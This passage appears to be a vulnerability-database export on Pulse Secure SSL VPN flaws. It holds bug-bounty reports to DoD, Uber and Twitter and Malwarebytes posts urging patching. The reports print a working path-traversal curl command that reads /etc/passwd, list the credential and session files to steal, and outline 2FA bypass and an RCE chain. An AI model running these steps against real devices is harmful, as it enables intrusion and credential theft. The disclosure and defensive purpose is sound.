post-auth command injection vulnerability (CVE-2019-11539) allows an attacker to execute commands on the device. Commands execution could lead to compromise to other servers on the network or malware implantation.\n\nThere was a talk recently at Blackhat USA that goes into great detail of the vulnerabilities and how to exploit them.\n\nExploit code was recently released to the public for this vulnerability. I would consider this an extremely critical issue, and others will be scanning your network trying to compromise this. The Pulse Secure version can be obtained from your device via a publicly available file here (https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588/dana-na/nc/nc_gina_ver.txt), so it is really easy to detect for attackers.\n\nHere are links to Blackhat presentation, Pulse Secure Security Bulletin, exploit code, video of exploit code in action and example report found on twitter's network.\n\nBlackhat 2019 Presentation\nhttps://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf\n\nPulse Secure Security Bulletin\nhttps://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101\n\nPublicly available exploit code:\nhttps://raw.githubusercontent.com/projectzeroindia/CVE-2019-11510/master/CVE-2019-11510.sh\n\nVideo of how exploit works:\nhttps://www.youtube.com/watch?v=v7JUMb70ON4&feature=youtu.be\n\nExample report found on Twitter's network\nhttps://hackerone.com/reports/591295\n\n## Impact\nCritical - I would consider this an extremely critical issue, and others will be scanning your network trying to compromise this.\n\n## Step-by-step Reproduction Instructions\n1. From macos/linux command line issue the following command;\ncurl --path-as-is -s -k \"https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/\"\n\nThis will display the /etc/passwd file from the pulse secure device. This in itself it enough to confirm the presence of both vulnerabilities.\n\nI've attached screenshots of getting the vulnerable Pulse Secure version from the device, and confirming the arbitrary file read vulnerability. I did not attempt to login into your device as administrator. Reading /etc/passwd is enough to confirm the vulnerability exists.\n\n## Product, Version, and Configuration (If applicable)\nPulse Secure 9.0.1.63949\n\n## Suggested Mitigation/Remediation Actions\nInstall updated firmware/os from the Pulse Secure Security Bulletin\nhttps://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101\n\n## Impact\n\nAn attacker could compromise this device, and gain access to the DoD networks, compromise other servers, or implant malware.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-08-23T15:57:54", "type": "hackerone", "title": "U.S. Dept Of Defense: Command Injection (via CVE-2019-11510 and CVE-2019-11539)", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-11539"], "modified": "2020-05-07T16:57:13", "id": "H1:680480", "href": "https://hackerone.com/reports/680480", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T02:28:50", "bounty": 6500.0, "description": "The hacker has found a series of 0 day related to Pulse Secure SSL VPN.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-06-17T18:51:03", "type": "hackerone", "title": "Uber: Arbitrary File Reading on Uber SSL VPN", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11508", "CVE-2019-11510", "CVE-2019-11538", "CVE-2019-11539", "CVE-2019-11540", "CVE-2019-11542"], "modified": "2021-02-25T21:25:15", "id": "H1:617543", "href": "https://hackerone.com/reports/617543", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T01:46:01", "bounty": 20160.0, "description": "Hi, we(Orange Tsai and Meh Chang) are the security research team from DEVCORE. Recently, we are doing a research about SSL VPN security, and found several critical vulnerabilities on Pulse Secure SSL VPN! We have reported to vendor and [patches](https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101) have been released on `2019/4/25`. Since that, we keep monitoring numerous large corporations using Pulse Secure and we noticed that Twitter haven't patched the SSL VPN server over one month!\n\nThese vulnerabilities include a pre-auth file reading(CVSS 10) and a post-auth(admin) command injection(CVSS 8.0) which can be chained into a pre-auth RCE! Here are all vulnerabilities we found:\n\n* CVE-2019-11510 - Pre-auth Arbitrary File Reading\n* CVE-2019-11542 - Post-auth Stack Buffer Overflow\n* CVE-2019-11539 - Post-auth Command Injection\n* CVE-2019-11538 - Post-auth Arbitrary File Reading\n* CVE-2019-11508 - Post-auth Arbitrary File Writing\n* CVE-2019-11540 - Post-auth Session Hijacking\n\n\n## Our Steps\n\nFirst, we download following files with CVE-2019-11510:\n1. `/etc/passwd`\n2. `/etc/hosts`\n3. `/data/runtime/mtmp/system`\n4. `/data/runtime/mtmp/lmdb/dataa/data.mdb`\n5. `/data/runtime/mtmp/lmdb/dataa/lock.mdb`\n6. `/data/runtime/mtmp/lmdb/randomVal/data.mdb`\n7. `/data/runtime/mtmp/lmdb/randomVal/lock.mdb`\n\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\n\nThe VPN user and hashed passwords are stored in the file `mtmp/system`. However, Pulse Secure caches the plain-text password in the `dataa/data.mdb` once the user log-in. Here, we just grep part of username/plain-text-password for proofs and further actions.\n\n*P.S. we mask the password field for security concerns, and we can send to you if you provide your PGP key.*\n\n```\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 / \u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 / \u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588 / \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 / \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588 / \u2588\u2588\u2588\u2588\u2588\u2588\n```\n\nOnce we log into the SSL VPN, we found the server has enabled the Two-Factor Authentication. Here, we listed two methods to bypass the 2FA:\n\n\u2588\u2588\u2588\u2588\n\n1. We observed Twitter using the 2FA solution from Duo.com. With the file `mtmp/system`, we could obtain the integration key, secret key, and API hostname, which should be protected carefully according to the [Duo documentation](https://duo.com/docs/pulseconnect):\n\n > Treat your secret key like a password\n The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don't share it with unauthorized individuals or email it to anyone under any circumstances!\n\n ```\n # secret-key = \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n \u2588\u2588\u2588\u2588\n dc=\u2588\u2588\u2588,dc=duosecurity,dc=com\n cn=<USER>\n\n # LDAP password = \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n \u2588\u2588\u2588\u2588\u2588\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\n uid=<username>\n ```\n\n2. The Pulse Secure stores the user session in the `randomVal/data.mdb`. Without `Roaming Session` option enabled, we can reuse the session and log into your SSL VPN!\n\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\n\n\nThe next, in order to trigger the command injection(CVE-2019-11542). We leverage the web proxy function to access the admin interface with following URL:\n\n```\nhttps://0/admin/\n```\n\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\nWe are now trying to crack the admin hash by GPU. It seems takes a long time, but once we cracked, we can achieve RCE absolutely. Actually, we can simply wait for the admin login and obtain the plain-text password directly!\n```\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n```\n\nAnyway, we decided to report to you first, because it's lethal and critical. If you want, we can provide the RCE PoC in admin interface in order to proof the potential risk!\n\n\n## Impact:\n\n1. Access Intranet(we have accessed the `\u2588\u2588\u2588\u2588\u2588\u2588\u2588` for proof) \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n2. Plenty of staff plain-text passwords\n3. Internal server and passwords(such as the LDAP)\n4. Attack back all VPN clients(we will detail the step in [Black Hat USA 2019](https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545))\n5. Private keys\n6. Sensitive cookies in Web VPN(such as okta, salesforce, box.com and google)\n\n## Supporting Material/References:\n\nWe attached screenshots to proof our actions. For security concern, we didn't attach the `mtmp/system` and the `dataa/data.mdb`. If you want, we can send to you with your PGP key encrypted!\n\n## Recommend Solution\n\nThe only and simplest way to solve this problem is to upgrade your SSL VPN to the [latest version](https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101)!\n\n## Impact\n\n1. Access Intranet(we have accessed the `\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588` for proof) \u2588\u2588\u2588\u2588\n2. Plenty of staff plain-text passwords\n3. Internal server and passwords(such as the LDAP)\n4. Attack back all VPN clients(we will detail the step in [Black Hat USA 2019](https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545))\n5. Private keys\n6. Sensitive cookies in Web VPN(such as okta, salesforce, box.com and google)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-05-28T07:53:44", "type": "hackerone", "title": "Twitter: Potential pre-auth RCE on Twitter VPN", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11508", "CVE-2019-11510", "CVE-2019-11538", "CVE-2019-11539", "CVE-2019-11540", "CVE-2019-11542"], "modified": "2019-08-10T15:06:45", "id": "H1:591295", "href": "https://hackerone.com/reports/591295", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T02:27:22", "bounty": 5000.0, "description": "##Description\nHello. Some time ago, researcher Orange Tsai from DEVCORE team had a talk on Defcon/BlackHat regarding Pulse Secure SSL VPN vulnerabilities fixed on 2019/4/25:\n**CVE-2019-11510 - Pre-auth Arbitrary File Reading**\nCVE-2019-11542 - Post-auth Stack Buffer Overflow\n**CVE-2019-11539 - Post-auth Command Injection**\nCVE-2019-11538 - Post-auth Arbitrary File Reading\n**CVE-2019-11508 - Post-auth Arbitrary File Writing**\nCVE-2019-11540 - Post-auth Session Hijacking\n\nLink to the slides: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf\n\nI discovered that `https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588` instance is vulnerable to described vulnerabilities.\n\n##POC\n\nReading `/etc/passwd` via CVE-2019-11510:\n```\ncurl -i -k --path-as-is https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/\n```\n```\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n```\n\nThe RCE can be achieved with this chain:\n1) Pulse Secure stores credentials in the cleartext.\n2) Attacker reads credentials and authorizes on VPN\n3) Attacker exploits CVE-2019-11539 - Post-auth Command Injection achieving RCE as root.\n\n##Suggested fix\nUpdate the Pulse Secure SSL VPN software.\n\n## Impact\n\nRemote code execution as root (by reading plaintext credentials and then exploiting CVE-2019-11539 - Post-auth Command Injection) and accessing intranet behind VPN.\nYou can see here example report to Twitter by Orange Tsai: https://hackerone.com/reports/591295", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-09-14T22:51:23", "type": "hackerone", "title": "U.S. Dept Of Defense: Arbitrary File Reading leads to RCE in the Pulse Secure SSL VPN on the https://\u2588\u2588\u2588\u2588", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11508", "CVE-2019-11510", "CVE-2019-11538", "CVE-2019-11539", "CVE-2019-11540", "CVE-2019-11542"], "modified": "2021-07-29T19:49:31", "id": "H1:695005", "href": "https://hackerone.com/reports/695005", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T01:43:50", "bounty": 0.0, "description": "##Description\nHello. Some time ago, researcher Orange Tsai from DEVCORE team had a talk on Defcon/BlackHat regarding Pulse Secure SSL VPN vulnerabilities fixed on 2019/4/25:\n**CVE-2019-11510 - Pre-auth Arbitrary File Reading**\nCVE-2019-11542 - Post-auth Stack Buffer Overflow\n**CVE-2019-11539 - Post-auth Command Injection**\nCVE-2019-11538 - Post-auth Arbitrary File Reading\n**CVE-2019-11508 - Post-auth Arbitrary File Writing**\nCVE-2019-11540 - Post-auth Session Hijacking\n\nLink to the slides: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf\n\nI discovered that https://\u2588\u2588\u2588\u2588 instance is vulnerable to described vulnerabilities.\n\n##POC\nExtracting `/etc/passwd` as example:\n```\ncurl -i -k --path-as-is https://\u2588\u2588\u2588\u2588\u2588\u2588/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/\n```\n{F561180}\n\nThe RCE can be achieved with this chain:\n1) Pulse Secure stores credentials in the cleartext.\n2) Attacker reads credentials via CVE-2019-11510 (it stored in the `/data/runtime/mtmp/lmdb/dataa/data.mdb`) and authorizes on VPN\n3) Attacker exploits CVE-2019-11539 - Post-auth Command Injection achieving RCE as root.\n\n##Suggested fix\nUpdate the Pulse Secure SSL VPN software (also implementing certificate validation can harden access a bit if some similar CVEs will be discovered in future).\n\n## Impact\n\nRemote code execution as root (by reading plaintext credentials and then exploiting CVE-2019-11539 - Post-auth Command Injection) and accessing intranet behind VPN.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-08-21T13:03:00", "type": "hackerone", "title": "U.S. Dept Of Defense: Arbitrary File Reading leads to RCE in the Pulse Secure SSL VPN on the https://\u2588\u2588\u2588", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11508", "CVE-2019-11510", "CVE-2019-11538", "CVE-2019-11539", "CVE-2019-11540", "CVE-2019-11542"], "modified": "2019-12-02T19:59:54", "id": "H1:678496", "href": "https://hackerone.com/reports/678496", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2019-10-18T17:31:38", "description": "In April 2019, Pulse Secure published an advisory about a vulnerability in their software. In August, cybercriminals were massively scanning for systems that were running a vulnerable version. Now it\u2019s October, and still many organizations have not applied the patches that are available for this vulnerability. \n\nThis is a trend we've seen repeated with dozens of other publicly-known vulnerabilities and organizations that are slow to update software to the latest, most secure versions. \n\nWith so many organizations falling victim to cyberattack via exploited vulnerability, we have to ask: Why aren't people patching?\n\n### What are the vulnerabilities?\n\nReading the above, you might suspect that the vulnerabilities were not serious or hard to exploit. But that's not the impression we get from the Pulse Secure advisory. It states:\n\n> \u201cMultiple vulnerabilities were discovered and have been resolved in Pulse Connect Secure (PCS) and Pulse Policy Secure (PPS). This includes an authentication by-pass vulnerability that can allow an unauthenticated user to perform a remote arbitrary file access on the Pulse Connect Secure gateway. This advisory also includes a remote code execution vulnerability that can allow an authenticated administrator to perform remote code execution on Pulse Connect Secure and Pulse Policy Secure gateways.\u201d\n\nPulse Connect Secure is a VPN solution for organizations and offers remote users a secure connection to the corporate network so they can remotely log in and work. Pulse Policy Secure is a well-known Network Access Control solution, which does not only control who can connect but also assigns the appropriate permissions.\n\nWhen it comes to software like this, an authentication by-pass vulnerability is a serious problem. Any criminal with the proper knowledge can pretend to be an employee and access company resources. In this case, https access and the use of an especially-prepared URL would be enough to read an arbitrary file on a vulnerable system.\n\nNeedless to say, that is a serious problem\u2014and we haven\u2019t even touched on the remote code execution possibility. Every hacker's dream is to be able to run their code on your system. That gives them a foothold within your network from which they can expand their activities. They can plant ransomware or whatever else they fancy.\n\n### Where would they get the necessary knowledge\n\nBy design, many cybercriminals are opportunistic, and they will jump at any easy copy-and-paste job that renders enough cash. So, when the vulnerability was discussed elaborately at Black Hat in early August, the method to exploit the vulnerability became general knowledge. \n\nSince using this method hardly requires expert knowledge, researchers soon noticed a lot of scanning activity by cybercriminals looking for vulnerable systems. The vulnerability in Pulse Secure was presented along with a [few vulnerabilities in other SSL VPN products](<https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545>). Shortly after, an exploit for this vulnerability was published on GitHub, so every copycat could have it handy.\n\n### Unpatched\n\nOn Saturday, August 24, 2019, scans performed by [Bad Packets](<https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/>) found a total of 14,528 Pulse Secure VPN endpoints vulnerable to CVE-2019-11510. Over 5,000 of those were in the US, including military, federal, state, and local government agencies. \n\nA week later, 10,471 Pulse Secure VPN servers worldwide remained vulnerable to compromise. On Monday, September 16, 2019, there were still 7,712 left to be patched. On Monday, October 7, 2019, a surprising 6,018 remained, with a lot of active scanning going on\u2014and this was after advisories have been issued by the NSA and the NCSC.\n\n### Responsibility\n\nA basic question in cases like these is: Who is responsible for applying patches? Without doubt, we expect a vendor to develop a patch as soon as the vulnerability is made known to them, but what happens after that? \n\nIndustry leaders have long warned that vulnerability remediation and effective patch management are essential to keep organizations safe from cyberattacks. But there are a few essential steps in the delivery chain after the patch is released:\n\n * Customers need to be made aware of the patch and the required urgency.\n * Security providers or resellers need to make sure their customers are aware of the existence of the patch and the possible consequences of not applying it.\n * Organizations need to have a department or external provider that is responsible for keeping the security software updated. Spending money on top-notch software and then leaving it unattended is a sure waste of money. Keeping software in shape is not limited to applying patches, but security patches can sometimes be more important than fetching the latest rules update.\n\nThe natural next question, then, is why aren't organizations applying patches as soon as they know about them? \n\n* * *\n\n_Recommended reading: _[Tackling the shortage in skilled IT staff: whole team security](<https://blog.malwarebytes.com/security-world/business-security-world/2019/02/tackling-the-shortage-in-skilled-it-staff-whole-team-security/>)\n\n* * *\n\n### So, what\u2019s stopping them from applying the patch?\n\nAssuming that an organization's IT or security team is aware of the patch, possible reasons for holding off might be fear of disrupted processes or a possible disagreement on what they might regard as critical. But the possible consequences of an unpatched critical vulnerability should heavily outweigh those concerns. \n\nThere could be several other reasons for not applying patches as soon as they are available:\n\n * Understaffed IT and security teams \n * Looking into the consequences first, which could slow down the process due to lack of feedback\n * Waiting for others to share their experiences before applying patches \n * Unaware of the patch's existence, sometimes as a result of not having time to follow up on emails and warning signs\n * Lack of a point of contact. Whose problem is it? And whose job is to solve it?\n\nAs you can see, most of these can be traced back to a lack of staff and time, and sometimes funding is responsible for those two shortages. But sometimes understaffing is because of [other reasons.](<https://blog.malwarebytes.com/security-world/2018/06/whats-causing-the-cybersecurity-skills-gap/>) And once you are understaffed, the lack of time to follow up on problems comes as a logical consequence.\n\n### The Pulse vulnerability is not alone\n\nIt\u2019s not like the Pulse vulnerability is the only VPN-related vulnerability out there (or any software vulnerability, for that matter). Similar problems are known to exist in products from Fortinet and Palo Alto. \n\nIn an [advisory](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>) from the National Cyber Security Center (NCSC) in the UK, users of the affected VPN products can find specified log entries to look for signs of a compromise or attempt to compromise. They also emphasize the need for patching: \n\n> \u201cSecurity patches should always be applied promptly. More guidance is available on the NCSC website. The NCSC acknowledges that patching is not always straightforward and in some cases can cause business disruption, but it remains the single most important step an organisation or individual can take to protect itself.\u201d\n\nSo, the question remains: If organizations are aware of the patch and have the staff resources to apply it, why are so many dragging their feet? Maybe some of our readers can shed some light on this mystery. Feel free to share your personal experiences in the comments. \n\nThe post [Pulse VPN patched their vulnerability, but businesses are trailing behind](<https://blog.malwarebytes.com/business-2/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2019-10-18T16:36:36", "type": "malwarebytes", "title": "Pulse VPN patched their vulnerability, but businesses are trailing behind", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2019-10-18T16:36:36", "id": "MALWAREBYTES:5B32671B820EEB03840B798BCEA9FDC8", "href": "https://blog.malwarebytes.com/business-2/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-04T22:43:41", "description": "The Cybersecurity and Infrastructure Security Agency (CISA) has issued binding directive 22-01 titled [Reducing the Significant Risk of Known Exploited Vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities>). This directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third-parties on an agency\u2019s behalf.\n\nOne of the most welcomed of the required actions set forth in the directive is that CISA will keep a [catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) of vulnerabilities alongside timeframes in which they must be remediated. According to the plan, this catalog will list only the most important vulnerabilities that have proven to pose the biggest risks.\n\n### The scope\n\nIn the US, a binding operational directive is an instruction that federal, executive branch, departments and agencies have to follow. They also provide a strong indication of the kind of cybersecurity measures that CISA thinks are important, which other organizations may wish to follow. (It's also easy to imagine that what's required of federal agencies today may be required of the vast web of suppliers to federal agencies tomorrow.)\n\nTo that end, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments review and monitor its catalog. CISA has done the hard work of identifying what should be patched first, and anyone who follows its guidance is likely to find their security and resilience posture improved.\n\n### The reason\n\nIt will come as no surprise that the continued cyberattacks against US entities are the reason for this directive: "The United States faces persistent and increasingly sophisticated malicious cyber campaigns that threaten the public sector, the private sector, and ultimately the American people\u2019s security and privacy.\u201d\n\nMany of the attacks against US organizations rely on vulnerabilities that could have been patched months or even years ago, but haven't been. For example, earlier this year CISA issued a joint advisory with the FBI and NSA urging US organizations to patch [five old vulnerabilities](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities/>) from 2018 and 2019 that were regularly exploited by the Russian Foreign Intelligence Service.\n\nThe idea is that better patch management, supported by the prioritization provided by the CISA catalog, can prevent future attacks.\n\n### The rules\n\nThe required actions are pretty simple and straightforward\u2014to read at least. Execution of the rules may prove to be more difficult. The rules are:\n\n * **Plan**. Organizations have 60 days to come up with a vulnerability management plan.\n * **Execute**. CISA is giving notice that the clock is running on vulnerabilities it cares about. The affected departments and agencies have six months to fix anything with a CVE issued before 2021, and two weeks to fix everything else.\n * **Report**. Organizations have to report on the status of vulnerabilities through the Continuous Diagnostics and Mitigation (CDM) Federal Dashboard.\n\nWhile 6 months may seem a long time for the CVE\u2019s prior to 2021, that doesn\u2019t mean they are less important than this year's vulnerabilities. The grace period may reflect the difficulty that organizations have already had in fixing older bugs, or the fact that "everything prior to 2021" is just a much longer period of time than the ten months of 2021. After six months is up and all those vulnerabilities are fixed, presumably everyone will be on a much shorter lease, with just two weeks to fix anything CISA deems serious enough to put on its list.\n\nIn some cases the catalog already lists a vulnerability with a due date in the past, such as [CVE-2019-11510](<https://blog.malwarebytes.com/business-2/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind/>). In August, 2019, scans performed by Bad Packets found a total of 14,528 Pulse Secure VPN endpoints vulnerable to CVE-2019-11510, four months after a patch became avaiable. Over 5,000 of those were in the US, including military, federal, state, and local government agencies\u2014and this was after advisories have been issued by the NSA and the NCSC.\n\nThe notes column for this CVE references [CISA's ED 21-03](<https://cyber.dhs.gov/ed/21-03/>) for further guidance and requirements. In that Emergency Directive you will find the due date of April 23rd of 2021. So, it was already required to be patched for organizations that are bound to follow emergency directives.\n\n### Patch management\n\nBecause patch management has proven to be a challenge, having a catalog to fall back on when you are looking for prioritization rules can be very helpful. On the other hand, by telling organizations what needs to be done, 